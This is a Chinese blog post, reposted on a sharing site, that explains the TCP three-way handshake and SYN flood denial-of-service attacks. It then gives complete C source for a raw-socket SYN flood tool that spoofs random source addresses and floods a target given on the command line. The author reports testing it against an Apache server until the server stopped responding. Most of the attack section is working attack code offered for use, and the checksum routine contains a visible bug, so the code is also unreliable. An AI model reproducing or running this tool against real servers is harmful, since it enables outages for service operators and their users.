分享

网络协议及应用之一:socket构造数据包及DOS(SYNflood)攻击

 心不留意外尘 2016-04-19

from http://blog./uid-20692625-id-3082002.html
2012.02

DOS(Denial of Service)攻击, 即:拒绝服务攻击.
本文将使用SYNflood,对一台apache服务器进行攻击测试.  

一 SYNflood攻击原理(Synchronize Sequence Numbers flood)
   建立TCP连接时,会有3次握手过程. 具体过程如下:
   1. 客户端 发送SYN(seq=i ack=0)包到服务器, 并进入SYN_SEND状态, 等待服务器确认.
   2. 服务器 收到SYN, 发送SYN+ACK(seq=j ack=i+1)包到客户端, 并进入SYN_RECV状态.
   3. 客户端收到 SYN+ACK包, 发送SYN+ACK(seq=ack ack=seq+1)包到服务器.
   服务器收到包后, 客户端和服务器进入ESTABLISHED状态, 完成三次握手. TCP连接建立.

   SYNflood针对三次握手的1/2步进行攻击. 
   1. 伪造客户端, 向服务器发送SYN包.
   2. 服务器回应SYN+ACK包.
   此时, 服务器会在延迟时间内等待客户端的SYN+ACK包. 但由于客户端系伪造, 服务器端将得不到回应包, 直到连接超时. 如果SYNflood包足够多, 就会挤占大量服务器资源. 造成服务器停止服务, 还可能造成服务器运行速度变慢。

二 两个要点
   1) sendto()
  1. ssize_t sendto( int sockfd,      \
  2.                 const void *buf, \
  3.                 size_t len,      \
  4.                 int flags,       \
  5.                 const struct sockaddr *dest_addr, \
  6.                 socklen_t addrlen);

   2) 检验和
      校验和的计算在SYNflood中相当重要, 否则服务器会直接丢弃伪造包, 并不会占用资源等待确认包. 这种情况下, 虽然同样会对服务器带来较大影响(打开纯文本网页用时15秒, 服务器明显变慢, 鼠标变卡), 但是对本机发包效率也有相当高的要求, 但明显不是我们期望的以小博大的结果.
      网上资料对于检验和的计算大都语焉不详, 我将在下一章结合代码, 详细介绍TCP/UDP检验和计算方法.

  1. u_int16_t check_sum(u_int16_t *buffer, int size)
  2. {
  3.     register int len = size;
  4.     register u_int16_t *p = buffer;
  5.     register u_int32_t cs = 0;

  6.     while( len >= 2)
  7.     {
  8.         cs += *(p++);
  9.         len -= 2;
  10.     }

  11.     if( len = 1)
  12.     {
  13.         cs += *((u_int8_t *)buffer);
  14.     }

  15.     while( (cs&0xffff0000) != 0)
  16.         cs = (cs>>16) + (cs&0xffff);

  17.     return (u_int16_t)(~cs);
  18. }

 

三 SYN flood 代码

  1. /******************** DOS.c *****************/
  2. /* author : zhonghaohua */
  3. /********************************************/

  4. #include <errno.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>

  8. #include <netdb.h>

  9. #include <sys/socket.h>

  10. #include <netinet/in.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/tcp.h>

  13. #define LOCALPORT 708

  14. unsigned short check_sum( unsigned short *addr,int len);

  15. int main( int argc, char *argv[])
  16. {
  17.     if( argc != 3)
  18.     {
  19.         printf( "argument error!\n");
  20.         exit(1);
  21.     }
  22.     
  23.     int opt = 1;
  24.     int sockfd;
  25.     struct sockaddr_in addr;
  26.     struct hostent *host;
  27.     
  28.     //initialize socket
  29.     memset( &addr, 0x0, sizeof(struct sockaddr_in));
  30.     addr.sin_family = AF_INET;
  31.     addr.sin_port = htons( atoi( argv[2]));
  32.     if( inet_aton( argv[1], &addr.sin_addr) == 0)
  33.     {
  34.         host = gethostbyname( argv[1]);
  35.         if( host == NULL)
  36.         {
  37.             printf( "%s", hstrerror(h_errno));
  38.             exit(1);
  39.         }
  40.         addr.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
  41.     }
  42.     
  43.     sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_TCP);
  44.     if( sockfd < 0)
  45.     {
  46.         printf( "%s", strerror(errno));
  47.         exit(1);
  48.     }
  49.     
  50.     setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt));

  51.     //构造无内容, 只有包头的数据.
  52.     unsigned char buffer[sizeof(struct ip) + sizeof(struct tcphdr)];
  53.     struct ip *ip;
  54.     struct tcphdr *tcp;

  55.     int len = sizeof(buffer);

  56.     memset( buffer, 0x0, sizeof(buffer));
  57.     ip = (struct ip *)buffer;
  58.     tcp = (struct tcphdr *)(buffer + sizeof(struct ip));
  59.     
  60.     tcp->source = htons(LOCALPORT); //local port.
  61.     tcp->dest = addr.sin_port; //struct sockaddr addr
  62.     tcp->seq = random();
  63.     tcp->ack_seq = 0;
  64.     tcp->doff = 5;
  65.     tcp->syn = 1;
  66.     
  67.     ip->ip_v = IPVERSION;
  68.     ip->ip_hl = sizeof(struct ip)>>2;
  69.     ip->ip_tos = 0;
  70.     ip->ip_len = htons(len);
  71.     ip->ip_id = 0;
  72.     ip->ip_off = 0;

  73.     //既是ip首部, 同样作为tcp校验和所用的伪首部, 屏蔽的字段是每次计算校验和都要重置的内容.
  74.     //ip->ip_ttl = MAXTTL;      //u_int8_t
  75.     ip->ip_p = IPPROTO_TCP;     //u_int8_t
  76.     //ip->ip_sum = 0;           //u_int16_t    
  77.     //ip->ip_src.s_addr         //u_int32_t
  78.     ip->ip_dst = addr.sin_addr; //u_int32_t

  79.     while(1)
  80.     {
  81.         ip->ip_ttl = 0;
  82.        
  83.         //ip首部的校验和字段, 作为tcp校验和伪首部时, 存放tcp长度
  84.         ip->ip_sum = htons(sizeof(struct tcphdr));
  85.         ip->ip_src.s_addr = random();
  86.         
  87.         tcp->check = 0;
  88.        
  89.         //计算tcp校验和时, 避开ip首部其它字段, 仅对伪首部和tcp计算校验和
  90.         tcp->check = check_sum((u_int16_t *)buffer + 4, sizeof(buffer) - 8);
  91.         
  92.         ip->ip_ttl = MAXTTL;
  93.         
  94.         sendto( sockfd, buffer, len, 0, (struct sockaddr *)(&addr), sizeof(struct sockaddr_in));
  95.     }
  96. }

 

四 测试环境及结果
   SYNflood: Linux 2.6.16
   apache:   windows xp sp3
   程序开始运行后, 网页所有页面无法打开, 服务器鼠标移动变卡. 测试成功.
   抓包结果如下:

 

    

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多